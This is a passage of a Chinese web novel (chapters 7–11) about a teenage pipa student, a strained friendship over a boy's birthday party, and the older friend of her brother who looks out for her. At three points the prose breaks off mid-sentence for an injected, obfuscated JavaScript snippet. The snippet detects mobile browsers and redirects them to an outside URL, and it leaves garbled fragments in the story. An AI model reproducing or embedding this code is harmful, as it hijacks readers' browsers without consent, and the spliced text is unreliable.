傅桃苦恼地皱着眉头,“你说,他是不是其实没那么喜欢我,就是觉得我追他追得紧,好玩而已?” 温淼顺着她的话,很认真:“我是觉得还是要看清楚对方到底是怎么想的,没必要让自己受委屈。” “是吧!你也这么觉得对不对?”傅桃像是找到了知音,但随即又自己否定了自己,“可是他学表演的嘛,以后说不定还要当演员,这种事情肯定没办法完全避免,可能就是朋友之间闹着玩?是我太小气了?” “…….” 走进了精品店。傅桃目标明确地直奔数码区,很快看中了一款某知名品牌的头戴式游戏耳机,外观美观,音质不错,价格也很美丽。 整整九百块钱。 傅桃拿起来看了看,又翻过标签瞄了一眼价格,顿时倒吸一口凉气。 她刚旅游回来,小金库已经严重缩水,这个价位绝对不是她能负担的起的。 她咬着嘴唇,不死心地又翻了翻自己的钱包,里面躺着几张可怜巴巴的钞票。 温淼在旁边看了看,从架子上拿起另一款价格便宜不少、但外观和功能也还不错的耳机:“或者这个呢?这个也挺好看的。” 傅桃看了一眼,摇头:“不行不行,这个才一百多,他生日那天肯定好多朋友都在,我要是送个这么便宜的,多拿不出手啊……” 她犹豫了一下,转向温淼,声音带上了恳求,“里里,我记得你们机构不是给你发了笔奖金吗?能不能……先借我一点?下个月我一拿到生活费立刻就还你!” 因为艺考成绩还不错,机构前几天的确给她发了一笔奖金,五千块钱,还额外给她包了一个九百块钱的红包,她还没来得及拿出来。 “可是你一个月生活费不是才800吗?”还给她之后,她不吃饭了吗? “大不了我下个月减肥!” 旁边的店员似乎注意到她们这边的犹豫,目光扫了过来。傅桃觉得有点挂不住面子,脸微微发红,语气也带上了一丝不易察觉的急躁和委屈:“你是不是不想借给我?算了。” 说完,她把看中的耳机往架子上一放,转身就往店外走。 “……” 温淼看着她赌气离开的背影,又看了看那副耳机。她其实不是不想借,只是觉得没必要买超过自己能力范围的礼物。为了一个生日礼物,让朋友下个月饿肚子,甚至可能引发更多矛盾,实在不是明智之举。 但这些话她一时不知该如何组织,又怕说出来伤了傅桃的心。 眼看傅桃已经快走到店门口,温淼叹了口气,还是从自己的包里拿出钱包,走到柜台前,把里面几乎所有的现金都拿了出来。 她指了指那副头戴式耳机:“姐姐,麻烦您帮我包一下这个。” 8. chapter8 第八章 等店员包装好耳机,温淼拎着礼品袋,快步追出了精品店。傅桃正站在不远处的自动扶梯口,低着头,脚尖一下下蹭着地砖。 温淼走过去,把袋子轻轻递到她面前。 傅桃抬起头,眼睛还有点泛红,她看了看袋子,又看了看温淼的脸,瘪了瘪嘴:“……谢谢。你真的买啦?你对我最好了。” “我晚上请你吃饭!想吃什么?随便点!我请客!” 温淼其实没什么胃口,也不想让她破费太多,目光在商场负一层的餐饮区扫视了一圈,随口指了一家店:“要不就吃那个吧。” 正是晚饭饭点,店里人不少,几张方桌几乎坐满了。温淼正踮着脚,努力观察里面有没有空位置的时候,侧后方的厨房布帘被掀开,一个系着黑色围裙的高挑身影端着一摞洗干净的碗碟走了出来。 温淼的视线恰好对上。 “……” 她眨了眨眼,以为自己看错了。 “哥哥?” 谢京韫显然也看到了她,脚步顿住,他目光在她和旁边的傅桃之间转了个来回,唇角微扬:“和朋友来吃饭?” 温淼还有点没回过神,下意识地点了点头。 “靠窗那边刚空出一个位置,我带你们过去。”谢京韫放下手里的碗碟,引着她们来到窗边一个相对安静的双人小桌旁。 “想吃什么在菜单上勾选就行,选好了拿到前台给我。我就在那里。”谢京韫把菜单递过来,说完便转身去招呼另一桌刚进来的客人了。 原来他说的在附近商场打工,是在这家凉皮店啊。温淼心里那点疑惑解开了。怪不得上次能顺路去接她。看来不是顺路,是真的很近。 男人离开后,傅桃揉了揉眼睛:“你哥现在怎么长这样了?” 之前学校开放日的时候,她见过几次温宿,和现在这样可以说是两模两样。 温淼简单地解释了一下情况:“他不是我亲哥,是我哥的朋友,暂时住我家。” 傅桃忍不住感叹:“你哥得是有他什么把柄吧,他每天在你家帮忙,还出来打工。不累吗?我现在在家里做家务就感觉累的不行,他是真有精力。” “我也觉得他可能被我哥威胁了。”温淼若有所思地点点头,“要么就是欠了我哥很多钱。不然图什么?” 总不可能是自愿的吧? 点完餐,傅桃主动拿过菜单去买单。不一会儿,她端着托盘回来了,除了她们点的两份凉皮,还有两杯冰镇酸梅汤和两碗淋着红糖浆的凉糕。 “你这哥哥也太好了,”傅桃压低声音,“他居然没肯收我的钱。说请我们吃。” 她回想起刚才在收银台前,自己掏出钱包要付账,谢京韫只是摇了摇头,修长的手指轻轻将几张纸币推了回来。他脸上没什么特别的表情,只是那双看过来时微微含笑的桃花眼,让傅桃当时就觉得心脏像被什么东西撞了一下。 她心里甚至生出一丝连她自己都未深究的对比。 同样是男生,怎么差别就这么大呢?一个短信发得暧昧不清,让人心烦意乱,另一个却只是萍水相逢,就能如此体贴周到。 “没收钱?” “对啊。还多给我们这些。里里,你这个哥哥对你真好。” 温淼有些意外,抬头看向收银台的方向。 谢京韫正在给另一桌客人点单,似乎察觉到她的视线,点完单后转头看了过来,目光落在她脸上,然后抬起手,指了指他自己的嘴角,朝她微微示意了一下。 嘴角?温淼茫然地摸了摸自己的嘴角,没东西啊?她还没开始吃呢。 “……” 她不明所以地看着他,用眼神表达困惑:什么?我没偷吃啊? 谢京韫见她没懂,也没再多比划,只是轻轻摇了摇头,眼里闪过一丝笑意,转身去忙了。 这边,傅桃挑起一筷子凉皮,心思显然又飞回了秦项身上:“里里,你说他生日那天,我是不是该主动约他出来,然后把礼物给他?找个什么理由好呢?总不能直接说生日快乐,给你礼物吧?太刻意了。” 温淼舀了一勺凉糕,红糖的清甜在舌尖化开。她觉得既然话都说到这儿了,不如趁机把秦项找她的事情坦白,也免得傅桃胡思乱想或者日后产生误会。 “你应该不用主动约他。” “不用?”傅桃咬着筷子,不解地看她。 温淼:“秦项前几天在机构碰到我,找我要了联系方式,说是想给你准备生日惊喜,但联系不上你,就想通过我了解你喜欢什么,帮忙传个话什么的。” 傅桃的眼睛瞬间瞪圆了,手里的筷子“啪”地掉在桌上:“天呐!真的假的?!我就说他最近怎么怪怪的……原来是在憋大招!他不会是要跟我表白吧?!” 温淼斟酌着措辞:“这个我不太确定。就是……我觉得他好像也没怎么仔细问你喜欢什么。” 说着,她把放在桌边的诺基亚拿起来,翻到和秦项的短信界面,递了过去:“你自己看看他跟我聊的。我感觉他好像没那么上心?” 傅桃接过手机,目光落在那些简短的文字上,看着看着,她的表情有一瞬间的凝固。但这情绪消失得很快,快得几乎让温淼以为是自己的错觉。 傅桃扯了扯嘴角,把手机递还给她:“哎呀,他不好意思直接问嘛,而且他找你,不也正好说明他在意我的朋友圈子,想跟你搞好关系,让你在我面前帮他说好话。” 她顿了顿,筷子在碗里搅了一下:“你不会是觉得他是对你有意思吧?” 温淼被她这句话噎得一愣:“我不是这个意思。我只是觉得他说话有点奇怪。” 傅桃:“逗你的啦,我们里里这么漂亮,他要是真敢动歪心思,我第一个不放过他!” 后面吃饭的过程变得有些沉默和尴尬,话虽然说了出来,温淼却并没有觉得心里好受多少,反而更加沉重了。她能感觉到傅桃的强颜欢笑,也能感觉到她似乎在刻意回避深入谈论秦项那些短信的细节。 吃完饭,傅桃说自己有点累了,想先回家。温淼点点头,没有挽留。 很是让人头疼。 她一个人坐在靠窗的位置,小口小口地把那碗已经没什么凉意的杨梅荔枝饮喝干净。店里的人渐渐少了,她看着窗外广场上来来往往的人群,脑子里空空的,什么也没想,又好像塞满了乱七八糟的思绪。 不知道过了多久,对面的椅子被拉开,有人坐了下来。 “怎么还是这个表情?” 温淼抬起头。 谢京韫已经脱了那件黑色工作围裙,换回了自己的短袖,他看着她,脸上没什么特别的情绪。 看到谢京韫,温淼才猛地想起这顿饭是他请的客,连忙去摸自己的包,想把钱还给他。可因为下午买了耳机,她身上所有的现金都已经花光了。她捏着空瘪的钱包,脸上闪过一丝窘迫。 男人看着她的小动作,轻笑出声:“说了哥哥请客,不用想着还钱,更不用留下来刷盘子抵债。”他把手肘撑在桌面上,微微向前倾身,看着她:“走吧?送你回家?” 温淼有些迟疑:“你……不上班了吗?” “和同事换了一下班。” “那就这样走,你老板不扣你工资吗?”上班早退和上学早退应该是一样的吧。 “扣啊。” “啊,那怎么办?” 谢京韫接过她肩上沉甸甸的琴包背在自己肩上,侧头看她,眼里带着点玩笑的意味:“怎么办呢?只能靠我们里里以后赚钱养我了。” 温淼听完,认真地苦恼起来:“我的钱不知道够不够。” “想什么呢,还真要你养啊,温淼,你哥没和你说,不要随便给男人花钱吗?” 谢京韫没忍住,弹了一下她的脑袋。 温淼吃痛捂住额头,小声嘟囔:“我有钱那当然可以随便花了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091452|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那等你有钱了再说。”谢京韫没在意,掂了掂琴包的分量,微微蹙眉:“你就一直背着这么重的琴,在外面玩这么久?” “不是玩,”温淼纠正,“我是刚下课,然后陪朋友逛了一下。”虽然结果并不太愉快。 从商场出来,外面天色已经彻底暗了下来,晚风带来一丝难得的凉意。谢京韫没立刻叫车,温淼也没提,两个人就沿着商场外的人行道,慢慢往前走了一段。 路灯将他们的影子拉得忽长忽短。 她总觉得,谢京韫是在等着她开口说点什么,倾诉点什么。 可是她也不知道应该说什么。 难道要说:哥哥,你说的没错,朋友的事情确实不应该瞎掺和,我好像搞砸了? 还是说:我觉得秦项那个人不太对劲,可我不知道该怎么告诉傅桃,她好像听不进去? 又或者,更直白一点:我好像有点后悔借钱买那个耳机了,不是因为钱,而是觉得……事情不该是这样的。 但这些话,在喉咙里滚了滚,又都咽了回去。她觉得谢京韫大概也不会真的明白。他虽然比温宿好说话一点,可终究是男生。男生和女生看待感情、看待朋友间这些细腻又麻烦的纠葛,视角总归是不一样的吧? 走到一个方便打车的十字路口,谢京韫停下脚步,对温淼说:“你在这里等我一下,别乱跑。” 温淼点点头,看着他的背影快步走向路边一家还亮着灯的便利店。 几分钟后,他拎着一个印着白色字体的塑料袋小跑回来。 “给,”他把袋子递给她,“记得自己涂一下。先涂药膏,止痒消炎的,如果还痒,再喷这个喷雾。蚊子包别老用手挠,容易留印子。” 他看着她,声音放得很低:“以后穿裙子不好看。” 温淼接过袋子,打开一看,里面是一小管药膏,一瓶驱蚊止痒喷雾,还有一小包独立包装的酒精棉片。都是给她的。 谢京韫在路边随手拦下一辆亮着空车灯的出租车,跟司机说了温淼家的大概地址,然后拉开后座车门。 “上车吧,到家了,让你哥给我发个消息说一下。”说着,他从自己的钱包里拿出一张五十元的钞票,递给温淼,“车费。” 温淼坐进车里,却没立刻关上门,而是仰头看着他:“你不一起回去吗?” 谢京韫站在车门边,微微弯腰,路灯的光在他背后,整个人像是被包裹了一样。他摇摇头:“哥哥晚上还有点别的事,先不回去了。” “哦。”温淼有些失落地应了一声,手指捏着那张纸币的一角,还是说:“那我直接和你发消息不好吗?就不用通过我哥了。”怕他误会,她补充了一句:“我哥不一定在家。你没收到我的消息,哭鼻子怎么办?” 谢京韫愣了一下,随即失笑:“但你不是没有手机吗?” “我有诺基亚啊,”温淼从包里拿出那部老旧的手机,晃了晃,“哥哥,诺基亚也可以发短信。” 谢京韫:“……” 他看看她一脸认真的表情,眼里掠过一丝无奈,更多的是一种柔软的、连他自己都没察觉的笑意。 他接过她的诺基亚,快速输入了一串数字,保存,备注了一个简单的“谢”字。 “好了,”他把手机递还给她,屏幕上的联系人列表里多了一个新的名字,“到家了,给我发个短信。” 她接过手机,看着那个新存的号码就这样成了这个手机里唯一的联系人,点了点头:“知道了。” “知道了就好。” 谢京韫的手却没有立刻收回,而是抬起来,用指腹在她唇角边轻轻蹭了一下。 温淼下意识地一缩。 “沾到糖浆了,”他收回手,指尖似乎还残留着一点微黏的触感。他看着她,声音比刚才更低了一些,也更温和,像夏夜里拂过耳畔的微风, “温淼,开心一点。嗯?” 9. chapter9 第九章 当天晚上,也许是被老师一语道破,温淼还真觉得身上没什么力气。 最后还是温岚莉和向森出差回家,发现她不太对劲的。 小姑娘身上胡乱盖着薄毯,整个人蜷缩成一团,脸颊烧得通红,额头上全是冷汗。 吃了家里备着的退烧药也不见好,温度反而越升越高,最后向森当机立断,半夜开车把她送到了最近的诊所。 一检查,病毒性流感,还有点轻微的支气管炎。 于是,刚从外面回来的温宿,就这样喜提了父母两人的轮流责备。 温宿:“……”他还能说什么?他也很冤枉好吗? 在家卧床休息的这几天,温淼重新获得了手机的使用权。大部分时间她都在睡觉,稍微清醒一点的时候,她特意挑了傅桃在那个几个人的小群里活跃发言的时间,给她发了几条私信。问她在干嘛,身体怎么样。 消息通常是隔了半天才被回复的,一来二去,温淼也就没有再发。 起初她以为傅桃可能是太忙了,或者还在因为那天的事情有点别扭。直到后来,她从另一个关系不错的朋友那里,偶然得知,傅桃和其他几个玩得好的女生,最近拉了一个新的小群,里面没有她。 原来不是忙。是有了新的小圈子。 温淼盯着天花板发了会儿呆,然后翻了个身,把脸埋进枕头里。生病本来就容易让人情绪低落,这下更觉得胸口闷闷的。 一直到了周四傍晚,烧退了,咳嗽也好些了,温淼正靠在床头玩小鳄鱼爱洗澡,手机忽然震动了一下。 她拿起来,是傅桃发来的消息。 傅桃:【里里,你晚上有空吗?秦项的生日聚会,在KTV,我一个人去有点尴尬,你能来陪陪我吗?】 温淼盯着这条消息,看了很久。第一反应是抗拒,这几天秦项也给她发了很多短信,但她都没有回。从朋友那里听到,他们两个人最近关系突飞猛进,她实在想不明白为什么还要再叫她。 可傅桃说她一个人去尴尬。而且,这是她这几天来,第一次主动联系她。 犹豫再三,温淼还是从床上爬了起来。她换掉睡衣,套了件长袖外套,又把口罩戴上。 家里只有温宿坐在客厅,对着电脑皱眉,似乎在处理什么棘手的事情。见她要出门,他想也没想就拒绝。 温淼眼神里带着点生病后特有的、湿漉漉的恳求,“我都在家闷了好几天了……” 小姑娘这几天生病,小脸瘦了一圈,眼巴巴看着人的样子确实有点可怜。 温宿松了口:“十点之前必须到家,多一分钟我就去逮你。到了给我发消息,结束前也要发。” “……” 这不还是关禁闭吗?只不过换了个地方关。 傅桃发来的地址离她家有点远,在另一个区,打车过去花了将近四十分钟。那家KTV位于一片大学城附近,周围有很多高校,晚上正是热闹的时候。 对着手机上发来的包厢号,温淼找到了地方。 推开门,一股混合着烟味、酒气、香水味和零食味的浑浊空气扑面而来,让她刚恢复的喉咙一阵发痒,忍不住低咳了两声,连忙把口罩往上又扯了扯。 包厢很大,屏幕上是某首流行音乐的MV画面,角落堆着一些包装好的生日礼物,温淼一眼就看到了那副耳机,被其他的袋子压着。 沙发上、高脚凳上坐满了人,男男女女都有,看起来年纪和他们相仿,有些面熟,应该是机构里其他专业的学生,还有些不认识,大概是秦项校外的朋友。大家都在嬉笑打闹,喝酒猜拳,气氛热烈得有些过头。 傅桃就坐在其中一个小沙发上,旁边紧挨着一个烫着时髦卷发的女生,两人正凑在一起看手机,注意到门口进来的温淼,傅桃脸上立刻露出如释重负的笑容。 “里里,你来了。” 包厢里不少人的目光齐刷刷地投向门口。 昏暗光线里,一个戴着口罩只露出一双杏眼,身形纤细的女孩站在那儿。 秦项先反应过来,放下手里的骰盅:“温淼?你真来了啊!我还以为你不来了呢!” 旁边一个勾着他肩膀的男生吹了声口哨,上下打量着温淼,伸手就摘她的口罩:“戴什么口罩啊。” 温淼蹙眉,往后退了一步,躲开了。 “这也是你们机构的女生?啧,艺术生就是不一样哈,身边围绕的都是美女。妹妹,你也是学表演的?有没有拍过广告或者电视剧啊?” “别瞎说,她学民乐的,弹琵琶的。”秦项捶了那男生一下:“温淼,别站门口,你想喝什么?果汁?可乐?还是来点别的?我给你点。” “不用了,我就坐一会儿,祝你生日快乐。”温淼说完,径直走向傅桃旁边的空位。 刚才那个叫许乐的男生不依不饶:“光是嘴上说生日快乐可不行啊妹妹。我看你空手来的吧?今天这顿饭可不便宜,寿星公可是大出血了。” 温淼来的匆忙,确实没准备礼物,被他这么一说,抿紧了嘴唇没说话。 秦项赶紧打圆场:“别理他,坐这,你能来我就很开心了。“” “这就护上了啊?”许乐挑眉,眼神在秦项和温淼之间转了转,意味深长地“哦”了一声,“好吧好吧。” 坐下来的温淼感觉自己像个误入异世界的局外人。周围的人在大声聊天,吵得她头疼。她几次想找机会和傅桃说句话,问问她最近怎么样,那天之后有没有和秦项好好谈谈。 但傅桃似乎一直很忙,要么在和秦项低声说着什么,要么就在和那个卷发女生以及其他几个打扮时髦的女生聊天,时不时爆发出阵阵笑声,完全没往她这边看。 “……” 好像不是叫我过来陪她,是叫我来当背景板的。 “你别在意。”秦项不知何时坐到了她旁边的空位上,递给她一罐鸡尾酒,“他们几个都是我以前的同学,现在都在不同的大学,难得聚一次,玩得比较开。” 温淼没接:“礼物我改天补给你。” 一直注意这里的许乐耳朵尖,大声说:“改天什么啊,择日不如撞日,要不就今天吧,我长这么大还没亲眼见过别人弹琵琶呢。” “哎,我记得这KTV楼上就有个琴行还是琴房?好像能租乐器?要不我去给拿个琵琶来,就当送给秦项的生日表演了,多有意义。” 温淼抬头,看向傅桃。傅桃似乎也听到了这边的动静,看了过来,两人的视线在空中短暂地交汇了一瞬。 许乐见状:“傅桃,你劝劝你朋友嘛,大家今天都这么开心,助助兴,弹一个又不会少块肉。” 旁边几个男生也跟着起哄:“就是啊,弹一个呗。让我们也高雅一下,熏陶熏陶!” 秦项似乎想开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091453|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但话还没说出来就被傅桃打断。 “里里,你就弹一个吧。反正你平常不也是当很多人面弹吗,又没什么。” 傅桃看着她,笑的有些勉强。 说不出自己到底什么心情,温淼的手指慢慢蜷缩起来,指尖因为用力而微微发白。 过了几秒,她忽然站起来,看着许乐:“想听我弹?” 许乐愣了一下:“啊,当然……” “那这么喜欢你怎么不自己弹?” 接着,她转身就往包厢外面走。 “哎?温淼?”秦项愣了一下,连忙起身想追。 温淼没理会身后的呼喊,快步走出包厢,门在她身后关上,隔绝了大部分噪音。她没有去等直梯,直接转向旁边的扶梯,沿着扶梯往下跑。 越跑越快,胸腔因为生病未愈和剧烈运动而隐隐作痛,喉咙里火辣辣的。她只想快点离开这个地方。 刚冲出KTV大门,还没来得及喘口气,手臂就被人从后面一把拽住。 温淼回头,是追出来的秦项,他身后还跟着傅桃。 “温淼,你别生气啊,许乐他们就是开玩笑的,没什么恶意。你别往心里去。桃子,你们不是朋友吗?说两句。” 傅桃的眼神在秦项和温淼之间游移,看着秦项紧紧抓着温淼胳膊的手,还有他脸上那副急于解释的模样…… 她终于没忍住。 “有意思吗温淼,只是让你弹个琴而已,为什么要这样?装什么清高?你明知道我有多期待今天!” 秦项愕然回头:“傅桃,你说什么呢?” “我说什么了?秦项,你至于这样急着为她说话吗?我就说你为什么非要让我把她叫过来!说得那么好听,怕我一个人不自在?我看你就是想叫她来!从一开始你就是想叫她来对吧?!看着我像个傻子一样围着你转,帮你传话,帮你约人,你是不是觉得特别有意思?!” 她几乎是用尽全力吼出了最后几句话,说完,她猛地转身,头也不回地朝着KTV旁边的巷子里跑去。 温淼站在原地,手臂上被秦项攥过的地方还在隐隐作痛。 秦项对她什么态度,秦项的朋友对她什么态度,她都可以不在意。但是傅桃不行。 她一直觉得,朋友之间,就算有误会,有摩擦,甚至吵架,都应该是两个人之间的事。关起门来,把话说开,或者哪怕冷战一段时间,最终总会有冰释前嫌的可能。就像以前和傅桃,也不是没闹过别扭。 她也一直觉得,如果真遇到了像刚才包厢里那样,让她感到不适和难堪的场面,作为朋友,应该站出来,哪怕只是简单地说一句“算了”,或者把她拉到身后,用行动表明立场。 哪怕傅桃自己也在生她的气,哪怕她们之间因为秦项有了隔阂,但在面对外人明显不怀好意的起哄时,那份属于“朋友”的、最基本的维护和共情,总该还在吧? 可是没有。 傅桃指责她清高,指责她小题大做,将这所有的委屈和愤怒,都倾泻在了她的身上。 所以她真的,非常失望。 她看着傅桃消失的方向,又抬眼,看向面前一时不知该如何是好的秦项,声音很轻。 “你不去追吗?” 秦项如梦初醒。他看了温淼一眼,眼神复杂,张了张嘴,但最终还是什么都没说,转身朝着傅桃跑走的方向追了过去。 10. chapter10 第十章 一个人在街边绿化带的石墩上坐了一会儿,温淼整个人都无精打采,肚子也饿得咕咕叫。 好饿,她今天都没吃饭。 她闻着旁边小吃摊飘来的香味,终于没忍住,想买个烤肠垫垫肚子。只是手伸进口袋,突然僵住。 空的。 “小姑娘,一共三块钱。” “……” 她的背包还落在KTV的包厢里。 手机,钱包,钥匙,全在里面。 回去拿?不可能,怎么可能这个时候再折返回去。这个念头只闪过一瞬就被她否定了。 她在周围看了一圈。天早在她一个人发呆的时候已经彻底黑了。西区是她平常机构上课的地方,但这边是新开发的商区,她还是第一次来,建筑和街道对她来说都非常陌生。 看着阿姨递过来的塑料袋,温淼抿唇:“阿姨,不好意思,我忘记带钱了,就不要了。” “没事。下次再来吃啊。”卖烤肠的阿姨注意到神情有些无助的小姑娘,多问了句:“小姑娘,你是不是遇到了什么麻烦?这边晚上人不多,这么晚了,早点回家哦。” 她抬起头,犹豫了一下,小声问:“那能借您的电话用一下吗?我东西丢了,想给家里打个电话。” 阿姨很爽快地把自己的手机递给她:“用吧用吧,别着急,慢慢打。” 温淼道了谢,然后纠结了一下打谁的电话。 温岚莉和向森都不知道她出门了,要是知道,肯定免不了一顿盘问。而且,她总觉得这种情况下,把父母叫过来是一件有些丢脸的事。 显得她好没用,出门一趟把自己都弄丢了。 想来想去,还是打给温宿比较好。虽然大概率会被骂,但至少他来得快。 她输入电话号码,第一遍没打通。她又等了几分钟,第二遍的时候电话才被接起,对面传来温宿明显被打扰的不耐烦声音:“不买保险不办卡不买房不贷款,谢谢。” “……哥哥。” 她低头看着鞋尖,最终慢吞吞吐出一句。 电话那头沉默了两秒,游戏声音戛然而止。 “温淼?” “嗯。”听着温宿的声音,她觉得鼻头有点酸,说话的时候也有些哽咽。但到底不想让温宿听出什么来,免得他又找到机会数落她,她只能用简单的话回答他。 “你手机呢?”温宿的声音沉了沉,“我提醒你,现在九点五十,离你承诺的十点还有十分钟。你最好已经在小区门口了。” 温淼抿了抿唇,眼泪毫无预兆地掉了下来。她本来没想哭的,至少在打通电话之前,她还努力维持着表面的平静。 可一听到温宿那熟悉又带着点凶的声音,心里那道强撑着的防线瞬间就垮了。 “我……”她吸了吸鼻子,声音带着浓重的鼻音,“我可能十点赶不回去了。手机丢了。身上没有钱。” 电话那头又是一阵沉默,她做好了被劈头盖脸骂一顿、甚至勒令她立刻想办法滚回去的准备。 然而,预想中的斥责并没有传来。 “你人在哪?” 她听到温宿似乎从沙发上站了起来,抄起桌上的钥匙。 “我……我在西区,一个商场旁边,KTV外面。” “西区?你跑那么远干什么?”温宿的声音明显紧绷起来,“具体地址知道吗?商场叫什么名字?” “KTV叫Theshow,但商场不知道是哪个,我对这里不熟。” “周围现在有人吗?” “有,有一个卖烤肠的阿姨,我就是借她的电话打的。” “行,”温宿的声音听起来冷静了许多,“别乱跑,就在那个烤肠摊旁边,哪里都不要去。听懂了吗?” “嗯……”温淼用力点头,眼泪又涌出来一些,“对不起。” 温宿穿鞋的动作一停:“把电话给人家,我跟她说两句。” — 商场一楼人来人往的过道里,谢京韫后背虚靠着墙壁,眼神没什么焦距地落在不远处一家奶茶店的招牌上,耳边是两道喋喋不休的声音。 面前站着一男一女,是他的大伯荣冠玉和大伯母孙含香。 他脸上没什么表情,连眼皮都懒得抬一下,只垂着眼,单手刷着手机屏幕,对那些话左耳进右耳出,仿佛他们谈论的是别人的事。只是出于礼貌,偶尔敷衍地嗯一声。 荣冠玉见他这副维持着表面那层属于晚辈的、不痛不痒的礼貌,火气直往上冒,但一想到那笔钱,只能强行压下怒气,试图打亲情牌: “阿韫,你大伯和大伯母赚钱也不容易,都是辛苦钱。你堂弟今年刚上高中,正是用钱的时候,家里处处都缺钱。” 大伯母立刻接上:“阿韫,你大伯也是看你爸可怜,才把两万块钱借给他,是想着他出来以后能改过自新,好好过日子。谁能想到他还是这个样子!那两万块对我们家来说不是小数,你大伯家里也不是特别富裕,我听说你保研了,那学校应该会给奖金吧?你体谅一下我们吧。” 谢京韫听到这话,手上滑动屏幕的动作终于停住。 他抬眸,目光平静无波地看向面前这对一脸苦主相的夫妇。 “既然知道他不会改,为什么还要借?” 荣冠玉被问得一噎,脸上闪过一丝尴尬:“但他毕竟是你爸爸啊!我们做兄弟的,总不能看着他这样吧!” 谢京韫:“是,所以,他进去之后,欠外面的赌债、高利贷,那些乱七八糟的账,只要证据确凿、合情合理的,我都替他还了,但也就还到他出来。后面谁找你们借的钱,你们就该去找谁要。” 像是真心为他们着想一样,他建议:“要不回来,就拿着借条、转账记录,该报警报警,该起诉起诉,再把他送进去蹲几年。这样,大家都轻松。” 荣冠玉:“你怎么能这么说……那你妈妈呢,你妈妈现在在哪?我去找她要,她不是跟了个有钱男人再婚了吗?肯定不差这点钱,你不还,那就让她来还。” 这时,温宿也发了几条消息。谢京韫一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091454|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点开手机,一边回答荣冠玉。 “不知道。她都不管我,你还想她管你们。” 温宿:【你打工的地方是不是离西区挺近的?】 温宿:【温淼一个人在那边,手机丢了。】 看到温宿发来的消息,原本含着笑的嘴角扯平。谢京韫手指一顿,快速打下一行字。 谢京韫:【地址发我。】 没了刚刚的无所谓和疏离,他的眼神瞬间变得沉静锐利,似乎这里的一切都不再重要。 他要离开这里。 “……” 短短几分钟的反差,刺破了荣冠玉夫妻最后一点伪装和侥幸,也激怒了他们。 “谢京韫,我还在呢,这是你对大人应该有的态度吗?你想去哪?”荣冠玉彻底撕破了脸,猛地将一直攥在手里的一个皮包劈头盖脸地朝谢京韫砸过去。 包里不知道装了些什么硬物,砸在身上发出闷响。更糟糕的是,一串拴在包带上的钥匙飞甩出来,刮过了谢京韫的嘴角。 一阵尖锐的刺痛传来。 谢京韫被砸得偏了偏头,他缓缓抬手,用拇指指腹抹了一下嘴角,指腹上立刻沾了点点猩红。他舌尖抵了抵腮帮内侧被刮破的地方,刺痛感更清晰了。 他抬起眼,看向因为暴怒和动手而显得有些气喘、眼神里却闪过一丝后怕的荣冠玉。 “我……” 谢京韫:“闹完没?我有事。” 荣冠玉被他这平静到诡异的目光看得心里一毛,下意识地后退了小半步。 谢京韫也算是他看着长大的。小时候这孩子乖巧有礼,很受欢迎。后来家里接连出事,父亲染上了赌博,母亲离婚后又没选择带他走,变得越发沉默寡言,但也从未见他跟谁红过脸、动过手。这还是他第一次,在谢京韫眼里看到如此清晰的戾气。 “你、你要干什么?!我可是你大伯!” 谢京韫没理会他的叫嚷,只是瞥了一眼周围因为这边的骚动而纷纷投来好奇、探究甚至举起手机目光的路人。 什么也没说,他无视了周围窣窣的议论声。反手,干脆利落地解开了身上那件打工的黑色围裙系带,将围裙从身上扯了下来。 “……” 将围裙随手搭在后厨门边的挂钩上。一个叫伍宏扬的年轻店员目睹了全程,一眼就看到了谢京韫嘴角那道破口:“韫哥,这哪来的两个疯子?你脸要不要紧?去医院看一下吧?” 谢京韫抬手又碰了碰嘴角,刺痛感让他微微蹙眉:“没事,小伤。” 他看了一眼后厨,对伍宏扬说:“我有点急事,得先走。店里麻烦你和老板说一声,今天的工钱不用算了。” “啊?哦……”伍宏扬还有些懵,“真的没事吗?你这急着去哪啊?” 马上就结束了,现在走是不是也太亏了。 谢京韫已经抓起了搭在椅背上的薄外套,闻言脚步顿了顿,回头看了伍宏扬一眼。 “去找个人。”他简短地说,然后不再停留,拉开后门,快步走了出去。 11. chapter11 第十一章 挂了电话,阿姨把她的手机收好,手脚麻利地把刚刚那根烤肠,重新放回烤炉上加热了一下,然后熟练地撒上孜然粉和一点点辣椒粉,用干净的纸袋装好,再次塞到温淼手里。 “来,小姑娘,拿着,先吃点东西垫垫肚子,暖和暖和。你哥哥在电话里说了,他马上就来接你,不着急啊。” 温淼握着那根烤肠,却有些犹豫:“可是阿姨,我、我没有钱……” “没事的,一根烤肠才几个钱!再说了,一会儿等你哥哥来了,让他付不就好啦?快拿着吃,趁热,凉了就不好吃了。” 